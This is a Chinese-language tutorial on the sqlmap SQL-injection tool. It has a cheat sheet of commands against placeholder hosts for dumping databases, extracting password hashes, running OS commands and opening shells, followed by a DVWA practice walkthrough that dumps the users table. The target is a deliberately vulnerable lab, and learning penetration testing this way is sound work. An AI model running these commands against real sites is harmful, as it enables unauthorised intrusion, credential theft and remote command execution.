sqlmap 是用python编写的渗透测试工具,可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。通常检测到存在sql注入点时,就可以利用此工具来进行验证。
SQLMap下载地址:https://sqlmap.org/#download
Python下载地址:https://www.python.org/downloads/
根据以上下载地址来获取安装包
SQLmap:
Python:
下载完后安装即可使用。
打开sqlmap所在目录,打开命令行。
在命令行中输入python sqlmap.py -u "http://xxx.com -p “id” --cookie=“xxxx”
结果
检测注入点 | python sqlmap.py -u “http://xxx.com?id=1” |
---|---|
列出数据库 | python sqlmap.py -u “http://xxx.com?id=1” --dbs |
列出数据表 | python sqlmap.py -u “http://xxx.com?id=1” -D database --tables |
列出字段名 | python sqlmap.py -u “http://xxx.com?id=1” -D database -T table_name --columns |
列出字段 | python sqlmap.py -u “http://xxx.com?id=1” -D database -T table_name -C coulmn_name --dump |
设置cookie | python sqlmap.py -u “http://xxx.com?id=1” --cookie= |
---|---|
检测cookie头 | python sqlmap.py -u “http://xxx.com?id=1” --level=2 --cookie= |
指定参数检测 | python sqlmap.py -u “http://xxx.com?id=1&article=1” -p “id” |
自动判断 | python sqlmap.py -u “http://xxx.com?id=1&article=1” --batch |
注入结果在其他页面 | python sqlmap.py -u “http://xxx.com?id=1&article=1” --second-url “http://xxx.com” |
设置代理 | python sqlmap.py -u “http://xxx.com?id=1” --proxy=“xxx” |
设置探测等级 | python sqlmap.py -u “http://xxx.com?id=1” --level |
设置风险等级 | python sqlmap.py -u “http://xxx.com?id=1” --risk |
判断状态码 | python sqlmap.py -u “http://xxx.com?id=1” – code=200 |
响应体返回参数 | python sqlmap.py -u “http://xxx.com?id=1” --string=“xxx”; |
添加正则 | python sqlmap.py -u “http://xxx.com?id=1” --regexp |
查找在错误页面中的字符串 | python sqlmap.py -u “http://xxx.com?id=1” --not-string |
POST参数 | python sqlmap.py -u “http://xx.com?id=1” --data=“xxx” |
referer参数 | python sqlmap.py -u “http://xx.com?id=1” --level=3 --referer=http://xxx.com |
批量检查 | python sqlmap.py -m 路径 |
检测https | python sqlmap.py -u “https://xxx.com” --force-ssl |
获取当前用户名称 | python sqlmap.py -u “http://xxx.com” --current-user |
获取当前数据库名称 | python sqlmap.py -u “http://xxx.com” --current-db |
确认是否为dba | python sqlmap.py -u “http://xxx.com” --is-dba |
查看权限 | python sqlmap.py -u “http://xxx.com” --privileges |
查看指定用户权限 | python sqlmap.py -u “http://xxx.com” --privileges -U username |
获取所有数据库用户密码 | python sqlmap.py -u “http://xxx.com” --passwords |
获取指定用户密码 | python sqlmap.py -u “http://xxx.com” --passwords -U username |
获取所有数据库角色 | python sqlmap.py -u “http://xxx.com” --roles |
获取所有数据库用户 | python sqlmap.py -u “http://xxx.com” --users |
获取所有数据库所有表 | python sqlmap.py -u “http://xxx.com” --dump-all |
执行系统命令 | python sqlmap.py -u “http://xxx.com” --os-cmd=xxx |
系统交互shell | python sqlmap.py -u “http://xxx.com” --os-shell |
执行指定sql语句 | python sqlmap.py -u “http://xxx.com” --sql-shell |
反弹shell | python sqlmap.py -u “http://xxx.com” --os-pwn |
读取windows注册表 | python sqlmap.py -u “http://xxx.com” --reg-read |
多线程 | python sqlmap.py -u “http://xxx.com” –threads |
它共有五个等级,1-5,默认为1,等级2测试Cookie,等级3User-Agent/Referer头,等级4,5则会测试xff头等其他头部,如果想测试的全面一些可以用较高的level值。
它有3个等级划分,1-3,1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
这里用dvwa来测试,等级为高
通过正常流程测试,可以有两个页面,小页面用来接收sql参数,主页面用来显示结果,那么就要用到 --second-url
参数
由于sqlmap去访问dvwa需要登录,则还需要用到--cookie
参数
再看数据包是POST传值,则还要用到--data
参数,且我们知道id可能是存在注入点,则用-p
来指定检测参数。
所以检测是否存在sql注入的完整语句如下:
python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id"
检测是存在sql注入的,并且返回了mysql的版本以及注入手段,payload等。
那么直接查库 --dbs
,如果想看当前库则使用 --current-db
python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" --dbs
python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" -D dvwa --tables
python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" -D dvwa -T users --columns
python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" -D dvwa -T users -C user,password --dump
以上就是sqlmap的基本使用,其他参数表哥们可以自行研究下。